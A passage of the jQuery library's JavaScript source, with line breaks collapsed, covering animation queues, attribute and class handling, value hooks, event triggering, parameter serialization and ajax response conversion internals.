) ); return animation; } jQuery.Animation = jQuery.extend( Animation, { tweeners: { "*": [ function( prop, value ) { var tween = this.createTween( prop, value ); adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween ); return tween; } ] }, tweener: function( props, callback ) { if ( isFunction( props ) ) { callback = props; props = [ "*" ]; } else { props = props.match( rnothtmlwhite ); } var prop, index = 0, length = props.length; for ( ; index < length; index++ ) { prop = props[ index ]; Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || []; Animation.tweeners[ prop ].unshift( callback ); } }, prefilters: [ defaultPrefilter ], prefilter: function( callback, prepend ) { if ( prepend ) { Animation.prefilters.unshift( callback ); } else { Animation.prefilters.push( callback ); } } } ); jQuery.speed = function( speed, easing, fn ) { var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : { complete: fn || !fn && easing || isFunction( speed ) && speed, duration: speed, easing: fn && easing || easing && !isFunction( easing ) && easing }; // Go to the end state if fx are off if ( jQuery.fx.off ) { opt.duration = 0; } else { if ( typeof opt.duration !== "number" ) { if ( opt.duration in jQuery.fx.speeds ) { opt.duration = jQuery.fx.speeds[ opt.duration ]; } else { opt.duration = jQuery.fx.speeds._default; } } } // Normalize opt.queue - true/undefined/null -> "fx" if ( opt.queue == null || opt.queue === true ) { opt.queue = "fx"; } // Queueing opt.old = opt.complete; opt.complete = function() { if ( isFunction( opt.old ) ) { opt.old.call( this ); } if ( opt.queue ) { jQuery.dequeue( this, opt.queue ); } }; return opt; }; jQuery.fn.extend( { fadeTo: function( speed, to, easing, callback ) { // Show any hidden elements after setting opacity to 0 return this.filter( isHiddenWithinTree ).css( "opacity", 0 ).show() // Animate to the value specified .end().animate( { opacity: to }, speed, easing, callback ); }, animate: function( prop, speed, easing, callback ) { var empty = jQuery.isEmptyObject( prop ), optall = jQuery.speed( speed, easing, callback ), doAnimation = function() { // Operate on a copy of prop so per-property easing won't be lost var anim = Animation( this, jQuery.extend( {}, prop ), optall ); // Empty animations, or finishing resolves immediately if ( empty || dataPriv.get( this, "finish" ) ) { anim.stop( true ); } }; doAnimation.finish = doAnimation; return empty || optall.queue === false ? this.each( doAnimation ) : this.queue( optall.queue, doAnimation ); }, stop: function( type, clearQueue, gotoEnd ) { var stopQueue = function( hooks ) { var stop = hooks.stop; delete hooks.stop; stop( gotoEnd ); }; if ( typeof type !== "string" ) { gotoEnd = clearQueue; clearQueue = type; type = undefined; } if ( clearQueue ) { this.queue( type || "fx", [] ); } return this.each( function() { var dequeue = true, index = type != null && type + "queueHooks", timers = jQuery.timers, data = dataPriv.get( this ); if ( index ) { if ( data[ index ] && data[ index ].stop ) { stopQueue( data[ index ] ); } } else { for ( index in data ) { if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) { stopQueue( data[ index ] ); } } } for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && ( type == null || timers[ index ].queue === type ) ) { timers[ index ].anim.stop( gotoEnd ); dequeue = false; timers.splice( index, 1 ); } } // Start the next in the queue if the last step wasn't forced. // Timers currently will call their complete callbacks, which // will dequeue but only if they were gotoEnd. if ( dequeue || !gotoEnd ) { jQuery.dequeue( this, type ); } } ); }, finish: function( type ) { if ( type !== false ) { type = type || "fx"; } return this.each( function() { var index, data = dataPriv.get( this ), queue = data[ type + "queue" ], hooks = data[ type + "queueHooks" ], timers = jQuery.timers, length = queue ? queue.length : 0; // Enable finishing flag on private data data.finish = true; // Empty the queue first jQuery.queue( this, type, [] ); if ( hooks && hooks.stop ) { hooks.stop.call( this, true ); } // Look for any active animations, and finish them for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && timers[ index ].queue === type ) { timers[ index ].anim.stop( true ); timers.splice( index, 1 ); } } // Look for any animations in the old queue and finish them for ( index = 0; index < length; index++ ) { if ( queue[ index ] && queue[ index ].finish ) { queue[ index ].finish.call( this ); } } // Turn off finishing flag delete data.finish; } ); } } ); jQuery.each( [ "toggle", "show", "hide" ], function( _i, name ) { var cssFn = jQuery.fn[ name ]; jQuery.fn[ name ] = function( speed, easing, callback ) { return speed == null || typeof speed === "boolean" ? cssFn.apply( this, arguments ) : this.animate( genFx( name, true ), speed, easing, callback ); }; } ); // Generate shortcuts for custom animations jQuery.each( { slideDown: genFx( "show" ), slideUp: genFx( "hide" ), slideToggle: genFx( "toggle" ), fadeIn: { opacity: "show" }, fadeOut: { opacity: "hide" }, fadeToggle: { opacity: "toggle" } }, function( name, props ) { jQuery.fn[ name ] = function( speed, easing, callback ) { return this.animate( props, speed, easing, callback ); }; } ); jQuery.timers = []; jQuery.fx.tick = function() { var timer, i = 0, timers = jQuery.timers; fxNow = Date.now(); for ( ; i < timers.length; i++ ) { timer = timers[ i ]; // Run the timer and safely remove it when done (allowing for external removal) if ( !timer() && timers[ i ] === timer ) { timers.splice( i--, 1 ); } } if ( !timers.length ) { jQuery.fx.stop(); } fxNow = undefined; }; jQuery.fx.timer = function( timer ) { jQuery.timers.push( timer ); jQuery.fx.start(); }; jQuery.fx.interval = 13; jQuery.fx.start = function() { if ( inProgress ) { return; } inProgress = true; schedule(); }; jQuery.fx.stop = function() { inProgress = null; }; jQuery.fx.speeds = { slow: 600, fast: 200, // Default speed _default: 400 }; // Based off of the plugin by Clint Helfers, with permission. // https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/ jQuery.fn.delay = function( time, type ) { time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; type = type || "fx"; return this.queue( type, function( next, hooks ) { var timeout = window.setTimeout( next, time ); hooks.stop = function() { window.clearTimeout( timeout ); }; } ); }; ( function() { var input = document.createElement( "input" ), select = document.createElement( "select" ), opt = select.appendChild( document.createElement( "option" ) ); input.type = "checkbox"; // Support: Android <=4.3 only // Default value for a checkbox should be "on" support.checkOn = input.value !== ""; // Support: IE <=11 only // Must access selectedIndex to make default options select support.optSelected = opt.selected; // Support: IE <=11 only // An input loses its value after becoming a radio input = document.createElement( "input" ); input.value = "t"; input.type = "radio"; support.radioValue = input.value === "t"; } )(); var boolHook, attrHandle = jQuery.expr.attrHandle; jQuery.fn.extend( { attr: function( name, value ) { return access( this, jQuery.attr, name, value, arguments.length > 1 ); }, removeAttr: function( name ) { return this.each( function() { jQuery.removeAttr( this, name ); } ); } } ); jQuery.extend( { attr: function( elem, name, value ) { var ret, hooks, nType = elem.nodeType; // Don't get/set attributes on text, comment and attribute nodes if ( nType === 3 || nType === 8 || nType === 2 ) { return; } // Fallback to prop when attributes are not supported if ( typeof elem.getAttribute === "undefined" ) { return jQuery.prop( elem, name, value ); } // Attribute hooks are determined by the lowercase version // Grab necessary hook if one is defined if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { hooks = jQuery.attrHooks[ name.toLowerCase() ] || ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined ); } if ( value !== undefined ) { if ( value === null ) { jQuery.removeAttr( elem, name ); return; } if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } elem.setAttribute( name, value + "" ); return value; } if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { return ret; } ret = jQuery.find.attr( elem, name ); // Non-existent attributes return null, we normalize to undefined return ret == null ? undefined : ret; }, attrHooks: { type: { set: function( elem, value ) { if ( !support.radioValue && value === "radio" && nodeName( elem, "input" ) ) { var val = elem.value; elem.setAttribute( "type", value ); if ( val ) { elem.value = val; } return value; } } } }, removeAttr: function( elem, value ) { var name, i = 0, // Attribute names can contain non-HTML whitespace characters // https://html.spec.whatwg.org/multipage/syntax.html#attributes-2 attrNames = value && value.match( rnothtmlwhite ); if ( attrNames && elem.nodeType === 1 ) { while ( ( name = attrNames[ i++ ] ) ) { elem.removeAttribute( name ); } } } } ); // Hooks for boolean attributes boolHook = { set: function( elem, value, name ) { if ( value === false ) { // Remove boolean attributes when set to false jQuery.removeAttr( elem, name ); } else { elem.setAttribute( name, name ); } return name; } }; jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( _i, name ) { var getter = attrHandle[ name ] || jQuery.find.attr; attrHandle[ name ] = function( elem, name, isXML ) { var ret, handle, lowercaseName = name.toLowerCase(); if ( !isXML ) { // Avoid an infinite loop by temporarily removing this function from the getter handle = attrHandle[ lowercaseName ]; attrHandle[ lowercaseName ] = ret; ret = getter( elem, name, isXML ) != null ? lowercaseName : null; attrHandle[ lowercaseName ] = handle; } return ret; }; } ); var rfocusable = /^(?:input|select|textarea|button)$/i, rclickable = /^(?:a|area)$/i; jQuery.fn.extend( { prop: function( name, value ) { return access( this, jQuery.prop, name, value, arguments.length > 1 ); }, removeProp: function( name ) { return this.each( function() { delete this[ jQuery.propFix[ name ] || name ]; } ); } } ); jQuery.extend( { prop: function( elem, name, value ) { var ret, hooks, nType = elem.nodeType; // Don't get/set properties on text, comment and attribute nodes if ( nType === 3 || nType === 8 || nType === 2 ) { return; } if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { // Fix name and attach hooks name = jQuery.propFix[ name ] || name; hooks = jQuery.propHooks[ name ]; } if ( value !== undefined ) { if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } return ( elem[ name ] = value ); } if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { return ret; } return elem[ name ]; }, propHooks: { tabIndex: { get: function( elem ) { // Support: IE <=9 - 11 only // elem.tabIndex doesn't always return the // correct value when it hasn't been explicitly set // https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ // Use proper attribute retrieval(#12072) var tabindex = jQuery.find.attr( elem, "tabindex" ); if ( tabindex ) { return parseInt( tabindex, 10 ); } if ( rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ) { return 0; } return -1; } } }, propFix: { "for": "htmlFor", "class": "className" } } ); // Support: IE <=11 only // Accessing the selectedIndex property // forces the browser to respect setting selected // on the option // The getter ensures a default option is selected // when in an optgroup // eslint rule "no-unused-expressions" is disabled for this code // since it considers such accessions noop if ( !support.optSelected ) { jQuery.propHooks.selected = { get: function( elem ) { /* eslint no-unused-expressions: "off" */ var parent = elem.parentNode; if ( parent && parent.parentNode ) { parent.parentNode.selectedIndex; } return null; }, set: function( elem ) { /* eslint no-unused-expressions: "off" */ var parent = elem.parentNode; if ( parent ) { parent.selectedIndex; if ( parent.parentNode ) { parent.parentNode.selectedIndex; } } } }; } jQuery.each( [ "tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable" ], function() { jQuery.propFix[ this.toLowerCase() ] = this; } ); // Strip and collapse whitespace according to HTML spec // https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace function stripAndCollapse( value ) { var tokens = value.match( rnothtmlwhite ) || []; return tokens.join( " " ); } function getClass( elem ) { return elem.getAttribute && elem.getAttribute( "class" ) || ""; } function classesToArray( value ) { if ( Array.isArray( value ) ) { return value; } if ( typeof value === "string" ) { return value.match( rnothtmlwhite ) || []; } return []; } jQuery.fn.extend( { addClass: function( value ) { var classes, elem, cur, curValue, clazz, j, finalValue, i = 0; if ( isFunction( value ) ) { return this.each( function( j ) { jQuery( this ).addClass( value.call( this, j, getClass( this ) ) ); } ); } classes = classesToArray( value ); if ( classes.length ) { while ( ( elem = this[ i++ ] ) ) { curValue = getClass( elem ); cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); if ( cur ) { j = 0; while ( ( clazz = classes[ j++ ] ) ) { if ( cur.indexOf( " " + clazz + " " ) < 0 ) { cur += clazz + " "; } } // Only assign if different to avoid unneeded rendering. finalValue = stripAndCollapse( cur ); if ( curValue !== finalValue ) { elem.setAttribute( "class", finalValue ); } } } } return this; }, removeClass: function( value ) { var classes, elem, cur, curValue, clazz, j, finalValue, i = 0; if ( isFunction( value ) ) { return this.each( function( j ) { jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) ); } ); } if ( !arguments.length ) { return this.attr( "class", "" ); } classes = classesToArray( value ); if ( classes.length ) { while ( ( elem = this[ i++ ] ) ) { curValue = getClass( elem ); // This expression is here for better compressibility (see addClass) cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); if ( cur ) { j = 0; while ( ( clazz = classes[ j++ ] ) ) { // Remove *all* instances while ( cur.indexOf( " " + clazz + " " ) > -1 ) { cur = cur.replace( " " + clazz + " ", " " ); } } // Only assign if different to avoid unneeded rendering. finalValue = stripAndCollapse( cur ); if ( curValue !== finalValue ) { elem.setAttribute( "class", finalValue ); } } } } return this; }, toggleClass: function( value, stateVal ) { var type = typeof value, isValidValue = type === "string" || Array.isArray( value ); if ( typeof stateVal === "boolean" && isValidValue ) { return stateVal ? this.addClass( value ) : this.removeClass( value ); } if ( isFunction( value ) ) { return this.each( function( i ) { jQuery( this ).toggleClass( value.call( this, i, getClass( this ), stateVal ), stateVal ); } ); } return this.each( function() { var className, i, self, classNames; if ( isValidValue ) { // Toggle individual class names i = 0; self = jQuery( this ); classNames = classesToArray( value ); while ( ( className = classNames[ i++ ] ) ) { // Check each className given, space separated list if ( self.hasClass( className ) ) { self.removeClass( className ); } else { self.addClass( className ); } } // Toggle whole class name } else if ( value === undefined || type === "boolean" ) { className = getClass( this ); if ( className ) { // Store className if set dataPriv.set( this, "__className__", className ); } // If the element has a class name or if we're passed `false`, // then remove the whole classname (if there was one, the above saved it). // Otherwise bring back whatever was previously saved (if anything), // falling back to the empty string if nothing was stored. if ( this.setAttribute ) { this.setAttribute( "class", className || value === false ? "" : dataPriv.get( this, "__className__" ) || "" ); } } } ); }, hasClass: function( selector ) { var className, elem, i = 0; className = " " + selector + " "; while ( ( elem = this[ i++ ] ) ) { if ( elem.nodeType === 1 && ( " " + stripAndCollapse( getClass( elem ) ) + " " ).indexOf( className ) > -1 ) { return true; } } return false; } } ); var rreturn = /\r/g; jQuery.fn.extend( { val: function( value ) { var hooks, ret, valueIsFunction, elem = this[ 0 ]; if ( !arguments.length ) { if ( elem ) { hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ]; if ( hooks && "get" in hooks && ( ret = hooks.get( elem, "value" ) ) !== undefined ) { return ret; } ret = elem.value; // Handle most common string cases if ( typeof ret === "string" ) { return ret.replace( rreturn, "" ); } // Handle cases where value is null/undef or number return ret == null ? "" : ret; } return; } valueIsFunction = isFunction( value ); return this.each( function( i ) { var val; if ( this.nodeType !== 1 ) { return; } if ( valueIsFunction ) { val = value.call( this, i, jQuery( this ).val() ); } else { val = value; } // Treat null/undefined as ""; convert numbers to string if ( val == null ) { val = ""; } else if ( typeof val === "number" ) { val += ""; } else if ( Array.isArray( val ) ) { val = jQuery.map( val, function( value ) { return value == null ? "" : value + ""; } ); } hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; // If set returns undefined, fall back to normal setting if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) { this.value = val; } } ); } } ); jQuery.extend( { valHooks: { option: { get: function( elem ) { var val = jQuery.find.attr( elem, "value" ); return val != null ? val : // Support: IE <=10 - 11 only // option.text throws exceptions (#14686, #14858) // Strip and collapse whitespace // https://html.spec.whatwg.org/#strip-and-collapse-whitespace stripAndCollapse( jQuery.text( elem ) ); } }, select: { get: function( elem ) { var value, option, i, options = elem.options, index = elem.selectedIndex, one = elem.type === "select-one", values = one ? null : [], max = one ? index + 1 : options.length; if ( index < 0 ) { i = max; } else { i = one ? index : 0; } // Loop through all the selected options for ( ; i < max; i++ ) { option = options[ i ]; // Support: IE <=9 only // IE8-9 doesn't update selected after form reset (#2551) if ( ( option.selected || i === index ) && // Don't return options that are disabled or in a disabled optgroup !option.disabled && ( !option.parentNode.disabled || !nodeName( option.parentNode, "optgroup" ) ) ) { // Get the specific value for the option value = jQuery( option ).val(); // We don't need an array for one selects if ( one ) { return value; } // Multi-Selects return an array values.push( value ); } } return values; }, set: function( elem, value ) { var optionSet, option, options = elem.options, values = jQuery.makeArray( value ), i = options.length; while ( i-- ) { option = options[ i ]; /* eslint-disable no-cond-assign */ if ( option.selected = jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1 ) { optionSet = true; } /* eslint-enable no-cond-assign */ } // Force browsers to behave consistently when non-matching value is set if ( !optionSet ) { elem.selectedIndex = -1; } return values; } } } } ); // Radios and checkboxes getter/setter jQuery.each( [ "radio", "checkbox" ], function() { jQuery.valHooks[ this ] = { set: function( elem, value ) { if ( Array.isArray( value ) ) { return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 ); } } }; if ( !support.checkOn ) { jQuery.valHooks[ this ].get = function( elem ) { return elem.getAttribute( "value" ) === null ? "on" : elem.value; }; } } ); // Return jQuery for attributes-only inclusion support.focusin = "onfocusin" in window; var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/, stopPropagationCallback = function( e ) { e.stopPropagation(); }; jQuery.extend( jQuery.event, { trigger: function( event, data, elem, onlyHandlers ) { var i, cur, tmp, bubbleType, ontype, handle, special, lastElement, eventPath = [ elem || document ], type = hasOwn.call( event, "type" ) ? event.type : event, namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : []; cur = lastElement = tmp = elem = elem || document; // Don't do events on text and comment nodes if ( elem.nodeType === 3 || elem.nodeType === 8 ) { return; } // focus/blur morphs to focusin/out; ensure we're not firing them right now if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { return; } if ( type.indexOf( "." ) > -1 ) { // Namespaced trigger; create a regexp to match event type in handle() namespaces = type.split( "." ); type = namespaces.shift(); namespaces.sort(); } ontype = type.indexOf( ":" ) < 0 && "on" + type; // Caller can pass in a jQuery.Event object, Object, or just an event type string event = event[ jQuery.expando ] ? event : new jQuery.Event( type, typeof event === "object" && event ); // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true) event.isTrigger = onlyHandlers ? 2 : 3; event.namespace = namespaces.join( "." ); event.rnamespace = event.namespace ? new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) : null; // Clean up the event in case it is being reused event.result = undefined; if ( !event.target ) { event.target = elem; } // Clone any incoming data and prepend the event, creating the handler arg list data = data == null ? [ event ] : jQuery.makeArray( data, [ event ] ); // Allow special events to draw outside the lines special = jQuery.event.special[ type ] || {}; if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { return; } // Determine event propagation path in advance, per W3C events spec (#9951) // Bubble up to document, then to window; watch for a global ownerDocument var (#9724) if ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) { bubbleType = special.delegateType || type; if ( !rfocusMorph.test( bubbleType + type ) ) { cur = cur.parentNode; } for ( ; cur; cur = cur.parentNode ) { eventPath.push( cur ); tmp = cur; } // Only add window if we got to document (e.g., not plain obj or detached DOM) if ( tmp === ( elem.ownerDocument || document ) ) { eventPath.push( tmp.defaultView || tmp.parentWindow || window ); } } // Fire handlers on the event path i = 0; while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) { lastElement = cur; event.type = i > 1 ? bubbleType : special.bindType || type; // jQuery handler handle = ( dataPriv.get( cur, "events" ) || Object.create( null ) )[ event.type ] && dataPriv.get( cur, "handle" ); if ( handle ) { handle.apply( cur, data ); } // Native handler handle = ontype && cur[ ontype ]; if ( handle && handle.apply && acceptData( cur ) ) { event.result = handle.apply( cur, data ); if ( event.result === false ) { event.preventDefault(); } } } event.type = type; // If nobody prevented the default action, do it now if ( !onlyHandlers && !event.isDefaultPrevented() ) { if ( ( !special._default || special._default.apply( eventPath.pop(), data ) === false ) && acceptData( elem ) ) { // Call a native DOM method on the target with the same name as the event. // Don't do default actions on window, that's where global variables be (#6170) if ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) { // Don't re-trigger an onFOO event when we call its FOO() method tmp = elem[ ontype ]; if ( tmp ) { elem[ ontype ] = null; } // Prevent re-triggering of the same event, since we already bubbled it above jQuery.event.triggered = type; if ( event.isPropagationStopped() ) { lastElement.addEventListener( type, stopPropagationCallback ); } elem[ type ](); if ( event.isPropagationStopped() ) { lastElement.removeEventListener( type, stopPropagationCallback ); } jQuery.event.triggered = undefined; if ( tmp ) { elem[ ontype ] = tmp; } } } } return event.result; }, // Piggyback on a donor event to simulate a different one // Used only for `focus(in | out)` events simulate: function( type, elem, event ) { var e = jQuery.extend( new jQuery.Event(), event, { type: type, isSimulated: true } ); jQuery.event.trigger( e, null, elem ); } } ); jQuery.fn.extend( { trigger: function( type, data ) { return this.each( function() { jQuery.event.trigger( type, data, this ); } ); }, triggerHandler: function( type, data ) { var elem = this[ 0 ]; if ( elem ) { return jQuery.event.trigger( type, data, elem, true ); } } } ); // Support: Firefox <=44 // Firefox doesn't have focus(in | out) events // Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787 // // Support: Chrome <=48 - 49, Safari <=9.0 - 9.1 // focus(in | out) events fire after focus & blur events, // which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order // Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857 if ( !support.focusin ) { jQuery.each( { focus: "focusin", blur: "focusout" }, function( orig, fix ) { // Attach a single capturing handler on the document while someone wants focusin/focusout var handler = function( event ) { jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) ); }; jQuery.event.special[ fix ] = { setup: function() { // Handle: regular nodes (via `this.ownerDocument`), window // (via `this.document`) & document (via `this`). var doc = this.ownerDocument || this.document || this, attaches = dataPriv.access( doc, fix ); if ( !attaches ) { doc.addEventListener( orig, handler, true ); } dataPriv.access( doc, fix, ( attaches || 0 ) + 1 ); }, teardown: function() { var doc = this.ownerDocument || this.document || this, attaches = dataPriv.access( doc, fix ) - 1; if ( !attaches ) { doc.removeEventListener( orig, handler, true ); dataPriv.remove( doc, fix ); } else { dataPriv.access( doc, fix, attaches ); } } }; } ); } var location = window.location; var nonce = { guid: Date.now() }; var rquery = ( /\?/ ); // Cross-browser xml parsing jQuery.parseXML = function( data ) { var xml, parserErrorElem; if ( !data || typeof data !== "string" ) { return null; } // Support: IE 9 - 11 only // IE throws on parseFromString with invalid input. try { xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" ); } catch ( e ) {} parserErrorElem = xml && xml.getElementsByTagName( "parsererror" )[ 0 ]; if ( !xml || parserErrorElem ) { jQuery.error( "Invalid XML: " + ( parserErrorElem ? jQuery.map( parserErrorElem.childNodes, function( el ) { return el.textContent; } ).join( "\n" ) : data ) ); } return xml; }; var rbracket = /\[\]$/, rCRLF = /\r?\n/g, rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i, rsubmittable = /^(?:input|select|textarea|keygen)/i; function buildParams( prefix, obj, traditional, add ) { var name; if ( Array.isArray( obj ) ) { // Serialize array item. jQuery.each( obj, function( i, v ) { if ( traditional || rbracket.test( prefix ) ) { // Treat each array item as a scalar. add( prefix, v ); } else { // Item is non-scalar (array or object), encode its numeric index. buildParams( prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]", v, traditional, add ); } } ); } else if ( !traditional && toType( obj ) === "object" ) { // Serialize object item. for ( name in obj ) { buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); } } else { // Serialize scalar item. add( prefix, obj ); } } // Serialize an array of form elements or a set of // key/values into a query string jQuery.param = function( a, traditional ) { var prefix, s = [], add = function( key, valueOrFunction ) { // If value is a function, invoke it and use its return value var value = isFunction( valueOrFunction ) ? valueOrFunction() : valueOrFunction; s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value == null ? "" : value ); }; if ( a == null ) { return ""; } // If an array was passed in, assume that it is an array of form elements. if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { // Serialize the form elements jQuery.each( a, function() { add( this.name, this.value ); } ); } else { // If traditional, encode the "old" way (the way 1.3.2 or older // did it), otherwise encode params recursively. for ( prefix in a ) { buildParams( prefix, a[ prefix ], traditional, add ); } } // Return the resulting serialization return s.join( "&" ); }; jQuery.fn.extend( { serialize: function() { return jQuery.param( this.serializeArray() ); }, serializeArray: function() { return this.map( function() { // Can add propHook for "elements" to filter or add form elements var elements = jQuery.prop( this, "elements" ); return elements ? jQuery.makeArray( elements ) : this; } ).filter( function() { var type = this.type; // Use .is( ":disabled" ) so that fieldset[disabled] works return this.name && !jQuery( this ).is( ":disabled" ) && rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) && ( this.checked || !rcheckableType.test( type ) ); } ).map( function( _i, elem ) { var val = jQuery( this ).val(); if ( val == null ) { return null; } if ( Array.isArray( val ) ) { return jQuery.map( val, function( val ) { return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; } ); } return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; } ).get(); } } ); var r20 = /%20/g, rhash = /#.*$/, rantiCache = /([?&])_=[^&]*/, rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg, // #7653, #8125, #8152: local protocol detection rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, rnoContent = /^(?:GET|HEAD)$/, rprotocol = /^\/\//, /* Prefilters * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example) * 2) These are called: * - BEFORE asking for a transport * - AFTER param serialization (s.data is a string if s.processData is true) * 3) key is the dataType * 4) the catchall symbol "*" can be used * 5) execution will start with transport dataType and THEN continue down to "*" if needed */ prefilters = {}, /* Transports bindings * 1) key is the dataType * 2) the catchall symbol "*" can be used * 3) selection will start with transport dataType and THEN go to "*" if needed */ transports = {}, // Avoid comment-prolog char sequence (#10098); must appease lint and evade compression allTypes = "*/".concat( "*" ), // Anchor tag for parsing the document origin originAnchor = document.createElement( "a" ); originAnchor.href = location.href; // Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport function addToPrefiltersOrTransports( structure ) { // dataTypeExpression is optional and defaults to "*" return function( dataTypeExpression, func ) { if ( typeof dataTypeExpression !== "string" ) { func = dataTypeExpression; dataTypeExpression = "*"; } var dataType, i = 0, dataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || []; if ( isFunction( func ) ) { // For each dataType in the dataTypeExpression while ( ( dataType = dataTypes[ i++ ] ) ) { // Prepend if requested if ( dataType[ 0 ] === "+" ) { dataType = dataType.slice( 1 ) || "*"; ( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func ); // Otherwise append } else { ( structure[ dataType ] = structure[ dataType ] || [] ).push( func ); } } } }; } // Base inspection function for prefilters and transports function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) { var inspected = {}, seekingTransport = ( structure === transports ); function inspect( dataType ) { var selected; inspected[ dataType ] = true; jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) { var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR ); if ( typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) { options.dataTypes.unshift( dataTypeOrTransport ); inspect( dataTypeOrTransport ); return false; } else if ( seekingTransport ) { return !( selected = dataTypeOrTransport ); } } ); return selected; } return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" ); } // A special extend for ajax options // that takes "flat" options (not to be deep extended) // Fixes #9887 function ajaxExtend( target, src ) { var key, deep, flatOptions = jQuery.ajaxSettings.flatOptions || {}; for ( key in src ) { if ( src[ key ] !== undefined ) { ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ]; } } if ( deep ) { jQuery.extend( true, target, deep ); } return target; } /* Handles responses to an ajax request: * - finds the right dataType (mediates between content-type and expected dataType) * - returns the corresponding response */ function ajaxHandleResponses( s, jqXHR, responses ) { var ct, type, finalDataType, firstDataType, contents = s.contents, dataTypes = s.dataTypes; // Remove auto dataType and get content-type in the process while ( dataTypes[ 0 ] === "*" ) { dataTypes.shift(); if ( ct === undefined ) { ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" ); } } // Check if we're dealing with a known content-type if ( ct ) { for ( type in contents ) { if ( contents[ type ] && contents[ type ].test( ct ) ) { dataTypes.unshift( type ); break; } } } // Check to see if we have a response for the expected dataType if ( dataTypes[ 0 ] in responses ) { finalDataType = dataTypes[ 0 ]; } else { // Try convertible dataTypes for ( type in responses ) { if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) { finalDataType = type; break; } if ( !firstDataType ) { firstDataType = type; } } // Or just use first one finalDataType = finalDataType || firstDataType; } // If we found a dataType // We add the dataType to the list if needed // and return the corresponding response if ( finalDataType ) { if ( finalDataType !== dataTypes[ 0 ] ) { dataTypes.unshift( finalDataType ); } return responses[ finalDataType ]; } } /* Chain conversions given the request and the original response * Also sets the responseXXX fields on the jqXHR instance */ function ajaxConvert( s, response, jqXHR, isSuccess ) { var conv2, current, conv, tmp, prev, converters = {}, // Work with a copy of dataTypes in case we need to modify it for conversion dataTypes = s.dataTypes.slice(); // Create converters map with lowercased keys if ( dataTypes[ 1 ] ) { for ( conv in s.converters ) { converters[ conv.toLowerCase() ] = s.converters[ conv ]; } } current = dataTypes.shift(); // Convert to each sequential dataType while ( current ) { if ( s.responseFields[ current ] ) { jqXHR[ s.responseFields[ current ] ] = response; } // Apply the dataFilter if provided if ( !prev && isSuccess && s.dataFilter ) { response = s.dataFilter( response, s.dataType ); } prev = current; current = dataTypes.shift(); if ( current ) { // There's only work to do if current dataType is non-auto if ( current === "*" ) { current = prev; // Convert response if prev dataType is non-auto and differs from current } else if ( prev !== "*" && prev !== current ) { // Seek a direct converter conv = converters[ prev + " " + current ] || converters[ "* " + current ]; // If none found, 